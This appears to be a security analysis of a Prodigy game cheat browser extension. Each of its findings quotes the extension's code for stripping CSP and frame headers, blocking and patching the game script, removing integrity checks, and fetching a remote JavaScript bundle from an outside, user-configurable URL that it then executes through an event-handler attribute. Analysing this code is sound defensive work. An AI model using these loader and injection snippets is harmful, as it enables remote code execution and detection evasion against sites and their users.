Prodigy Hacking Extension | X Loader

The extension uses declarativeNetRequest to silently strip Content-Security-Policy and X-Frame-Options headers from all prodigygame.com responses. Removing CSP eliminates the browser's primary defense against script injection and XSS, directly enabling the code injection performed in contentScript.js. Removing X-Frame-Options additionally enables clickjacking attacks against the game site.

{  "id": 2,  "priority": 1,  "action": {    "type": "modifyHeaders",    "responseHeaders": [      {        "header": "content-security-policy",        "operation": "remove"      },      {        "header": "x-frame-options",        "operation": "remove"      }    ]  },  "condition": {    "urlFilter": "*://*.prodigygame.com/*",    "resourceTypes": [      "main_frame"    ]  }}

The extension blocks the legitimate game script from loading via the CDN. This is a prerequisite for the substitution attack in contentScript.js, where a fetched-and-patched version of the script is injected instead. This effectively performs a man-in-the-middle substitution of the game's core JavaScript.

{  "id": 1,  "priority": 1,  "action": {    "type": "block"  },  "condition": {    "urlFilter": "https://code.prodigygame.com/code/*/game.min.js?v=*"  }}

The extension fetches a version string from a third-party external server (prodigyx.org) and uses it to construct a URL to download the game's minified JavaScript. This establishes a remote command channel — the third-party server controls which version of the game code is loaded, giving the operator persistent remote control over the payload.

const e = await (await fetch("https://www.prodigyx.org/version.txt"))  .text(),  t = await (await fetch(`https://code.prodigygame.com/code/${e}/game.min.js?hello=true&v=${e}`))  .text(),

The extension fetches arbitrary JavaScript from a user-configurable or default GitHub URL and executes it by injecting it into a DOM event handler (`onreset`) and immediately dispatching the event. This is dynamic remote code execution: the payload is fetched at runtime from an external source, bypassing any static analysis of the extension bundle. The URL can be changed to any arbitrary host via the popup UI, allowing the attacker to pivot the payload source.

const r = await (await fetch(await (async () => (await chrome.storage.sync.get("cheat-menu-url"))["cheat-menu-url"])() ||    "https://raw.githubusercontent.com/ProdigyAPI/ProdigyX/master/dist/extension-bundle.js"))  .text();document.documentElement.setAttribute("onreset", `${o}\nSW.Load.decrementLoadSemaphore();\n${r}`  .replaceAll("new URL", "new window.URL")), document.documentElement.dispatchEvent(new CustomEvent(  "reset")), document.documentElement.removeAttribute("onreset")

Code injection is performed by writing a multi-kilobyte JavaScript string (containing the patched game code plus the remote bundle) into a DOM event attribute, then triggering the event to execute it in the page context. This pattern deliberately avoids `eval()` to evade static detection while achieving equivalent arbitrary code execution with access to the page's full JavaScript environment including game state, player data, and session context.

document.documentElement.setAttribute("onreset", `${o}\nSW.Load.decrementLoadSemaphore();\n${r}`  .replaceAll("new URL", "new window.URL")), document.documentElement.dispatchEvent(new CustomEvent(  "reset")), document.documentElement.removeAttribute("onreset")

The extension iterates over all script and link tags in the page and removes their `integrity` attributes, defeating Subresource Integrity (SRI) checks. This prevents the browser from detecting that loaded resources have been tampered with, covering the extension's script substitution attack and preventing detection of any future payload modifications.

[...document.getElementsByTagName("script"), ...document  .getElementsByTagName("link")].forEach((e => {  e.integrity && (console.log(e.integrity), e.removeAttribute("integrity"))}));

The extension parses the game's minified JavaScript with regex patterns to extract internal variable names, then surgically patches the minified source to expose private game objects (`_game`, `instance`, `player`, `gameData`, `network`) onto the global `window` object. This constitutes deep introspection and manipulation of the game's internal state, enabling cheating capabilities and giving the injected payload full access to game session data and player information.

n = [t.match(/window,function\((.)/)[1], t.match(/var (.)=\{\}/)[1]],  o = [    [/s\),this\._game=(.)/,      `s),this._game=$1;window.priorLodash = window._;Object.defineProperty(window.priorLodash, "game", {get: () => this._game ...`    ],    [/(.)\..constants=Object/,      "window.priorLodash = window.priorLodash || window._,window.priorLodash.constants=$1,$1.constants=Object"    ]  ].reduce(((e, [t, n]) => e.replace(t, n)), t),

The popup allows users to configure an arbitrary URL that will be fetched and executed as JavaScript inside the game page. While presented as a developer option, this makes the extension a configurable remote code execution loader — any URL pointing to malicious JavaScript can be substituted and will execute with full page privileges inside prodigygame.com sessions.

const e = async () => (await chrome.storage.sync.get("cheat-menu-url"))["cheat-menu-url"], t = e => chrome  .storage.sync.set({    "cheat-menu-url": e  });...a || (await t(      "https://raw.githubusercontent.com/ProdigyAPI/ProdigyX/master/dist/extension-bundle.js"), a =    await e()), n.value = a, r.addEventListener("click", (async () => {          const e = n.validity.valid,            a = n.value;          e && await t(a);